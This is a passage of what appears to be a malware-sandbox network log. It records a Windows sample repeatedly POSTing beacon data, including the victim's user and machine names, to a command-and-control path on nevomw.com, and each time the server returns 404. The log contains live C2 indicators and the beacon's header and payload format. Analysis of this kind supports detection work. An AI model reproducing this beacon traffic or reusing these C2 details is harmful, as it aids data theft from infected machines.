Dec 2, 2020 11:54:25.721544027 CET	1666	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:25.773643017 CET	1666	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:25.849072933 CET	1667	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.6	49976	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:26.144787073 CET	1668	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:26.197416067 CET	1668	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:26.272979021 CET	1668	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.6	49977	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:26.570982933 CET	1669	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:26.625888109 CET	1669	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:26.711049080 CET	1670	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.6	49978	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:27.002604008 CET	1670	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:27.054647923 CET	1671	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:27.132330894 CET	1671	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.6	49979	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:27.439599991 CET	1672	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:27.493242979 CET	1672	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:27.568900108 CET	1673	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49737	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:52.880419970 CET	145	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:52.938637018 CET	145	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:53.017894030 CET	147	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.6	49980	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:27.844926119 CET	1673	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:27.897897005 CET	1674	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:27.972228050 CET	1674	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.6	49981	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:28.210752964 CET	1675	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:28.263191938 CET	1675	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:28.339982986 CET	1675	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.6	49982	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:28.648578882 CET	1676	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:28.707230091 CET	1677	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:28.783734083 CET	1677	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.6	49983	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:29.097569942 CET	1678	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:29.151492119 CET	1678	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:29.229926109 CET	1679	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.6	49984	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:29.481369019 CET	1679	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:29.534396887 CET	1680	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:29.611299992 CET	1680	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.6	49985	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:29.882165909 CET	1681	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:29.941138983 CET	1681	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:30.031088114 CET	1681	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.6	49986	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:30.266581059 CET	1682	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:30.319520950 CET	1683	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:30.405565977 CET	1683	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.6	49987	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:30.691282034 CET	1684	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:30.743802071 CET	1684	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:30.819380999 CET	1684	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.6	49988	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:31.074450016 CET	1685	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:31.137681007 CET	1686	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:31.217477083 CET	1686	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.6	49989	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:31.527811050 CET	1687	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:31.580452919 CET	1687	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:31.656363010 CET	1687	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49740	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:53.327474117 CET	166	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:53.382477999 CET	166	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:53.459325075 CET	167	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.6	49990	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:31.972079992 CET	1688	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:32.023840904 CET	1688	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:32.100903034 CET	1689	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.6	49991	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:32.430896997 CET	1690	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:32.483166933 CET	1690	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:32.565126896 CET	1690	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.6	49992	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:32.886878967 CET	1691	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:32.939291000 CET	1691	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:33.011949062 CET	1692	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.6	49993	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:33.320496082 CET	1693	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
